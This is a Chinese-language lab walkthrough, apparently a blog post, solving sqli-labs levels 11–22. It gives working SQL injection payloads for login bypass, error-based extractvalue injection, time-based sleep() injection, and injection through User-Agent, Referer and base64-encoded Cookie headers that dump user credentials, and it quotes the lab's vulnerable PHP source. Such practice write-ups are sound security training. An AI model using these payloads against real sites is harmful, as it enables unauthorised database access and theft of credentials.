前言:这里的关卡多为post注入,故结合burpsuite进行抓包分析
1、post注入,先在username输入admin’,password随便输,返回错误信息,从错误信息可知在username处应该有注入点,且可能为字符注入类型:
抓包:
2、加上万能语句or 1=1#,修改为admin’ or 1=1#,发现登陆成功,而且用户默认为dumb,可确定为字符型注入:
3、order by确定列数,确定为2:
4、开始爆破数据库、表名、列名:
5、爆破用户名、密码:
1、先尝试admin’,发现无回显,则有可能是双引号字符注入。修改为admin",报错,从报错信息可知是("")方式闭合字符串,故再修改为admin") or 1=1#,密码随便设123,登录成功:
2、接下来爆破数据库名、表名、列名、用户名以及密码,步骤类似第十一关,在此不再赘述。
1、依旧先尝试admin’,回显报错,从报错信息可知应该为(’’)方式闭合字符串。修改为admin’) or 1=1# ,发现无回显,说明正常信息不回显,但正常信息可以回显,在使用不了联合查询,所以可以采用基于报错的盲注:
在此采用extractvalue()语句进行报错,关于extractvalue()与updatexml()语句的讲解可参考这篇博客:https://blog.csdn.net/zpy1998zpy/article/details/80631036
修改为admin’) or 1=1# :
2、采用extractvalue()报错回显,先爆破数据库名:
uname=admin’) and extractvalue(1,concat(’~’,(select database()),’~’))#&passwd=123&submit=Submit
3、依次爆破表名、列名、用户名以及密码,方法类似前面关卡,在此不再赘述。
与第十三关类似,此处为基于报错的双引号盲注,只需修改为admin"即可
尝试admin’、admin"、加上括号等情况,都不回显,说明有可能为时间盲注,采用if语句、sleep()函数,并且经过多次尝试,可知为单引号盲注:
uname=admin’ and if(substr((select database()),1,1)=‘s’,sleep(5),1)#&passwd=123&submit=Submit
页面经过5s后响应,说明确实为时间盲注,接下来一个一个字符进行爆破,与前面的关卡less-9类似,在此不再赘述。
与第十五关唯一不同的点是双引号盲注,其他步骤一样。
uname=admin" and if(substr((select database()),1,1)=‘s’,sleep(5),1)#&passwd=123&submit=Submit
1、无论username输入什么,回显都不变,说明有可能在password存在注入点。username输入admin,password输入1’,报错,从报错信息可知,存在基于报错信息的单引号注入:
利用extractvalue()报错注入,得到数据库名:
uname=admin&passwd=1’ and extractvalue(1,concat(’~’,(select database()),’~’))#&submit=Submit
在这里查看源码确定一下:
// 过滤函数
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
// return the interger value of the variable
$value = intval($value);
}
return $value;
}
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
果然发现对username做了过滤操作,而password没过滤。
2、仿照前面关卡,依次得到表名、列名等。
3、到了爆破用户名以及密码时,开始出现与前面不同的报错。
错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。
查看源码,应该是update语句引起的报错::
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
修改为:
uname=admin&passwd=1’ and extractvalue(1,concat(’~’,(select username from (select username from users) limit 0,1),’~’)) #&submit=submit
还是报错,从报错信息可知需要为派生表添加一个别名,则修改为:
uname=admin&passwd=1’ and extractvalue(1,concat(’~’,(select username from (select username from users)a limit 0,1),’~’)) #&submit=submit
成功爆破出用户名,然后通过修改limit的值,则可爆出其他的用户名。
4、爆破密码,爆出密码为1,以此类推:
在网上查到可以用sqlmap扫描出用户名以及密码,参考此文https://blog.csdn.net/weixin_43606134/article/details/106126537?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2.no_search_link:
1、尝试对username、password进行注入,都只是回显ip,当输入正确的用户名与密码时,回显user agent,说明只有在用户名、密码正确的前提下,才能实现注入。
用bp抓包,尝试修改agent为1,回显agent为1,说明可以修改agent。再修改为1’,回显报错,且为单引号注入,说明可以利用agent实现注入:
本关实际为UA注入,修改为:
User-Agent: 1’ and extractvalue(1,concat(’`’,(select database()),’~’)) or ’
成功爆破出数据库名。
为什么不是在后面添加注释符了,而是添加单引号呢?咱们先查看源码:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
若注释了后面的内容,则会造成语句匹配不成功,注入不了,所以只能拼接到sql语句中。
2、继续修改查询语句,跟前面关卡类似,这里不再赘述。
与第十八关类似,这关在referer中存在注入,同样用bp抓包:
Referer: 1’ and extractvalue(1,concat(’~’,(select group_concat(username,’-’,password) from users),’~’)) or ’
这关在cookie存在注入,输入正确的用户名以及密码,回显一堆信息。再查看源码,发现username与password都采取了过滤操作,而cookie存在注入点:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$cookee = $_COOKIE['uname'];
同样用bp抓包爆破:
Cookie: uname=admin’ and extractvalue(1,concat(’~’,(select group_concat(username,’-’,password) from users),’~’))#
1、懒得找注入点了,直接看源码
$cookee = base64_decode($cookee);
echo "
";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
发现注入点应该是cookie,但从$cookee = base64_decode($cookee)
这句可以看出,cookie是经过base64加密后才注入的,往前面找源码也发现了base64加密这个操作,所以猜想正确,直接加密开干:
setcookie('uname', base64_encode($row1['username']), time()+3600);
2、从源码也发现是(’’)这种方式闭合字符串,故先尝尝鲜:1’) union select 1,2,3#,经过base64加密,再加到cookie:
发现了三个显示位,从源码也发现确实如此。
3、按照之前的关卡直接爆出数据库名、表名、列名,在这里我直接展示获取用户名以及密码:
1’) union select 1,group_concat(username),group_concat(password) from users#
base64加密:
这关与第二十一关相似,区别在于是以""闭合字符串的,故修改一下即可:
1” union select 1,group_concat(username),group_concat(password) from users#
base64加密:
到此,sqli-labs的basic challenges关卡全部通关,接下来有时间将会更新剩下的关卡通关指南,感谢阅读。
这是第一大关的关卡总图,我们可以将这些关卡总结如下:
and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的. )